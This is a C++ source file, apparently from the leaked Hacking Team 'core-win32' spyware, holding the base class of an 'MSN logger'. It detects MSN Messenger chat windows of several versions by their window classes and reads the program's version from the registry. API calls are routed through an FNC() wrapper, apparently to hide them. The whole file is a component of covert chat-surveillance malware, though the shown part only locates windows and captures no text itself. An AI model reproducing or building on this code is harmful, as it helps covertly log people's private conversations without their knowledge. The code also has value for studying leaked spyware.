hackedteam/core-win32

/*
* MSN logger, base class
*
* Coded by: Quequero
* Date: 14/Mar/2008
*
*/

#include <string>
#include <vector>
#include <exception>
using namespace std;

#include "QMsn.h"
#include "QAgent.h"
#include "..\common.h"
QMsn::QMsn()
{
    hwChat = hwUserList = hwLogin = hwContacts = hwHistory = NULL;
}

/**
* Torna TRUE se la finestra identificata dall'hwnd contenuto in QProperty appartiene ad MSN
*/
BOOL QMsn::Is(HWND hw)
{
    UINT i = 1;
    WCHAR wClassName[256] = {0};
    WCHAR wTitle[256] = {0};
    HWND hTmp;

    // Msn
    PWCHAR pwClass[] = {
        L"IMWindowClass",
        L"DirectUIHWND",
        0,
    };

    // Msn Live 2009
    PWCHAR pwClass2009[] = {
        L"IMWindowClass",
        L"IM Window Class",
        L"DirectUIHWND",
        0,
    };

    // Msn Live 2011
    PWCHAR pwClass2011[] = {
        L"TabbedHostWndClass",
        L"WLXDUI",
        L"CtrlNotifySink",
        L"MsgrViewHost View Host",
        0,
    };

    if(FNC(GetClassNameW)(hw, wClassName, 256) == 0)
        return FALSE;

    hTmp = hw;
    i = 1;
    if(!wcsncmp(wClassName, pwClass[0], wcslen(wClassName)))  {
        while(pwClass[i] != 0){
            hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass[i], NULL);
        
            // Non e' Msn
            if(hTmp == NULL)
                break;

            i++;
        }
        if (hTmp)
            return TRUE;
    }

    hTmp = hw;
    i = 1;
    if(!wcsncmp(wClassName, pwClass2009[0], wcslen(wClassName)))  {
        while(pwClass2009[i] != 0){
            hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass2009[i], NULL);

            // Non e' Msn Live 2009
            if(hTmp == NULL)
                break;

            i++;
        }
        if (hTmp)
            return TRUE;
    }

    hTmp = hw;
    i = 1;
    if(!wcsncmp(wClassName, pwClass2011[0], wcslen(wClassName)))  {
        while(pwClass2011[i] != 0){
            hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass2011[i], NULL);

            // Non e' Msn Live 2011
            if(hTmp == NULL)
                break;

            i++;
        }
        if (hTmp)
            return TRUE;
    }

    return FALSE;
}

UINT QMsn::Version(const HWND hw)
{
    UINT uVersion;
    BYTE bVersion;

    uVersion = VersionEx(NULL);
    bVersion = (BYTE)((uVersion & 0xff000000) >> 24);

    switch(bVersion){
        case 0x0f:
            return MSN_LIVE_2011;

        case 0x0e:
            return MSN_LIVE_2009;

        case 0x08:
            return MSN_LIVE;

        case 0x07:
            return MSN_7;

        case 0x06:
            return MSN_6;

        default:
            return UNKNOWN_VERSION;
    }

    return UNKNOWN_VERSION;
}

// MSN: HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\AppCompatCanary
// La versione di MSN e' storata in questo modo: x.x.xxxx.xxxx, a noi interessano
// solo la major e minor version che vengono messe in un UINT (bit piu' significativo
// == major), per il momento i 16 bit inferiori dell'UINT ritornato sono settati a
// 0. Quindi la versione 8.5.1306.1101 sara' identificata come: 0x08050000
UINT QMsn::VersionEx(const HWND hw)
{
    HKEY hKey;
    WCHAR wVersion[20] = {0}, wTmp[20] = {0};
    PWCHAR pwVer;
    DWORD dSize = sizeof(wVersion);
    UINT uVersion = 0, uLen, uTmp;

    if(FNC(RegOpenKeyExW)(HKEY_CURRENT_USER, L"Software\\Microsoft\\MSNMessenger", NULL, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
        return UNKNOWN_VERSION;

    if(FNC(RegQueryValueExW)(hKey, L"AppCompatCanary", NULL, NULL, (LPBYTE)&wVersion, &dSize) != ERROR_SUCCESS){
        FNC(RegCloseKey)(hKey);
        return UNKNOWN_VERSION;
    }

    FNC(RegCloseKey)(hKey);

    pwVer = wcschr(wVersion, '.');

    if(pwVer == NULL)
        return UNKNOWN_VERSION;

    uLen = pwVer - wVersion;
    memcpy(wTmp, wVersion, uLen * sizeof(WCHAR));
    uTmp = _wtoi(wTmp);
    uVersion = uTmp << 24;

    pwVer++;
    pwVer = wcschr(pwVer, '.');

    if(pwVer == NULL)
        return uVersion;

    uLen = pwVer - wVersion - uLen - 1;
    memcpy(wTmp, pwVer - uLen, uLen * sizeof(WCHAR));
    uTmp = _wtoi(wTmp);
    uVersion |= (uTmp << 16);

    return uVersion;
}

const PWCHAR QMsn::GetMessenger()
{ 
    return L"MSN"; 
}